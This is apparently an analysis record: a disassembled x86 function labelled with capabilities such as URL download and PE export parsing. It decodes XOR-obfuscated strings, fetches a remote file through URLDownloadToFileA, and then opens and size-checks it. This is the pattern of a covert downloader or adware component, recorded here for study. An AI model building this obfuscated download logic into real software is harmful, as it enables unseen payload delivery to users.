Function at 0x1000c940
Capabilities:
Download url
Get file size
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004e588
mov eax, dword fs:[0]
push eax
sub esp, 0x548
mov eax, dword [0x1005d500]
xor eax, esp
mov dword [esp + 0x540], eax
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, esp
push eax
lea eax, [esp + 0x558]
mov dword fs:[0], eax
mov dword [esp + 0x50], vtable.SysService.0
xor ebx, ebx
mov dword [esp + 0x560], ebx
mov dword [esp + 0x54], vtable.FileService.0
mov dword [esp + 0x58], vtable.AdInfoService.0
lea edi, [esp + 0x94]
mov byte [esp + 0x560], 2
call fcn.100209a0
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x3c], vtable.CodeService.0
push 0x3ff
lea eax, [esp + 0x151]
push ebx
mov byte [esp + 0x568], 5
push eax
mov byte [esp + 0x158], bl
call fcn.10037e20
add esp, 0xc
push 0x21
lea ecx, [esp + 0x150]
push 0x10053920
push ecx
call fcn.10037f30
add esp, 0xc
xor eax, eax
jmp 0x1000ca10
mov edx, eax
and edx, 0x8000000f
jns 0x1000ca1f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539a0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x21
jl 0x1000ca10
mov esi, 0xf
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000ca56
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 6
call fcn.1000b440
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000caa2
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
push 0x1c
lea ecx, [esp + 0x150]
push 0x10053944
push ecx
call fcn.10037f30
add esp, 0xc
xor eax, eax
jmp 0x1000cac0
mov edx, eax
and edx, 0x8000000f
jns 0x1000cacf
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539a0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1c
jl 0x1000cac0
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000cb01
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 7
call fcn.1000b440
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000cb4d
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053960
push ecx
call fcn.10037f30
add esp, 0xc
xor eax, eax
mov edx, eax
and edx, 0x8000000f
jns 0x1000cb75
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539a0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000cb66
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000cba7
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 8
call fcn.1000b440
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000cbf3
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053980
push ecx
call fcn.10037f30
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov edx, eax
and edx, 0x8000000f
jns 0x1000cc1f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539a0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000cc10
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000cc51
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 9
call fcn.1000b440
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000cc9d
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x7c]
push edx
call fcn.10018e60
add esp, 8
lea ecx, [esp + 0x130]
mov byte [esp + 0x560], 0xa
call fcn.100301b0
mov esi, eax
push 0x10053a4c
lea eax, [esp + 0x7c]
push eax
lea ecx, [esp + 0xb8]
push ecx
mov byte [esp + 0x56c], 0xb
call fcn.10002410
add esp, 0xc
mov ecx, eax
lea edx, [esp + 0x5c]
push edx
mov eax, esi
mov byte [esp + 0x564], 0xc
call fcn.1000d700
add esp, 4
mov edi, eax
lea esi, [esp + 0x78]
mov byte [esp + 0x560], 0xd
call fcn.100029b0
cmp dword [esp + 0x70], 0x10
jb 0x1000cd27
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
mov edi, 0x10
mov esi, 0xf
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
cmp dword [esp + 0xc4], edi
jb 0x1000cd56
mov ecx, dword [esp + 0xb0]
push ecx
call fcn.10032d80
add esp, 4
mov byte [esp + 0x560], 0xa
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
cmp dword [esp + 0x144], edi
jb 0x1000cd8c
mov edx, dword [esp + 0x130]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000cda3
lea ecx, [esp + 0x94]
mov eax, dword [esp + 0x78]
cmp dword [esp + 0x8c], edi
jae 0x1000cdb4
lea eax, [esp + 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1000ce50
cmp dword [esp + 0x8c], edi
jb 0x1000cddd
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d80
add esp, 4
mov dword [esp + 0x8c], esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000ce10
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10009040
push esi
call fcn.10032d80
add esp, 4
mov edi, 0x10
cmp dword [esp + 0xa8], edi
jb 0x1000ce29
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032d80
add esp, 4
or eax, 0xffffffff
mov ecx, dword [esp + 0x558]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x540]
xor ecx, esp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000ce67
lea eax, [esp + 0x94]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x40]
mov esi, eax
push edx
push esi
mov dword [esp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test al, 7
je 0x1000cee8
cmp dword [esp + 0x8c], edi
jb 0x1000cea9
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d80
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cedb
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10009040
push esi
call fcn.10032d80
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000ce17
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x74
mov dword [esp + 0x38], ebx
call fcn.10032d50
add esp, 4
cmp eax, ebx
je 0x1000d23e
mov dword [esp + 0x30], eax
mov dword [eax], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 8], eax
mov edx, dword [esp + 0x30]
mov byte [edx + 0x70], 1
mov eax, dword [esp + 0x30]
mov byte [eax + 0x71], 1
mov byte [esp + 0x560], 0xe
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor edi, edi
add eax, edx
je 0x1000d09c
mov dword [esp + 0x18], ebx
add ecx, dword [esp + 0x18]
lea eax, [esp + 0xcc]
push eax
call fcn.10008cb0
lea ebx, [esp + 0xcc]
lea ecx, [esp + 0x2c]
mov byte [esp + 0x560], 0xf
call fcn.1000b510
mov ecx, dword [esp + 0xcc]
push 0xffffffffffffffff
mov esi, eax
xor ebx, ebx
push ebx
lea edx, [esp + 0xd8]
mov dword [esi], ecx
push edx
lea ecx, [esi + 4]
call fcn.10002da0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0xf4]
push eax
lea ecx, [esi + 0x20]
call fcn.10002da0
mov ecx, dword [esp + 0x108]
push 0xffffffffffffffff
mov dword [esi + 0x3c], ecx
mov edx, dword [esp + 0x110]
push ebx
lea eax, [esp + 0x118]
push eax
lea ecx, [esi + 0x44]
mov dword [esi + 0x40], edx
call fcn.10002da0
mov esi, 0x10
mov byte [esp + 0x560], 0xe
cmp dword [esp + 0x124], esi
jb 0x1000d007
mov ecx, dword [esp + 0x110]
push ecx
call fcn.10032d80
add esp, 4
mov dword [esp + 0x124], 0xf
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
cmp dword [esp + 0x100], esi
jb 0x1000d039
mov edx, dword [esp + 0xec]
push edx
call fcn.10032d80
add esp, 4
mov dword [esp + 0x100], 0xf
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
cmp dword [esp + 0xe4], esi
jb 0x1000d06b
mov eax, dword [esp + 0xd0]
push eax
call fcn.10032d80
add esp, 4
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
add dword [esp + 0x18], 0x60
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc edi
add eax, edx
cmp edi, eax
jb 0x1000cf5e
xor ebx, ebx
cmp ecx, esi
je 0x1000d0d1
mov edx, dword [esp + 0x3c]
push edx
mov ebx, esi
mov eax, esi
call fcn.10009460
mov ecx, dword [0x10061c84]
mov esi, eax
mov eax, dword [esp + 0x40]
add esp, 4
push eax
push ecx
mov eax, esi
call fcn.100094c0
add esp, 8
mov dword [0x10061c84], esi
xor ebx, ebx
mov eax, dword [0x100a1db4]
mov ecx, dword [0x100a1dd0]
lea edx, [esp + 0x94]
push edx
push eax
push ecx
lea edx, [esp + 0x38]
mov ecx, 0x10061c80
call fcn.10009c00
cmp dword [esp + 0xa8], 0x10
mov byte [esp + 0x13], al
mov eax, dword [esp + 0x94]
jae 0x1000d110
lea eax, [esp + 0x94]
push eax
call fcn.10036f23
add esp, 4
cmp byte [esp + 0x13], bl
jne 0x1000d1a7
mov byte [esp + 0x560], 0x10
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000d2e0
mov edx, dword [esp + 0x30]
push edx
call fcn.10032d80
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000d164
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d80
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cedb
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10009040
push esi
call fcn.10032d80
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000ce17
mov byte [esp + 0x560], 0x11
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000d2e0
mov edx, dword [esp + 0x30]
push edx
call fcn.10032d80
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000d1e8
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d80
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000d21a
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10009040
push esi
call fcn.10032d80
add esp, 4
cmp dword [esp + 0xa8], 0x10
jb 0x1000d234
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032d80
add esp, 4
mov eax, 1
jmp 0x1000ce2c
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x48]
mov dword [esp + 0x18], ebx
call fcn.10034d9f
push 0x10057528
lea eax, [esp + 0x48]
push eax
mov dword [esp + 0x4c], vtable.std::bad_alloc.0
call fcn.100377a7
int3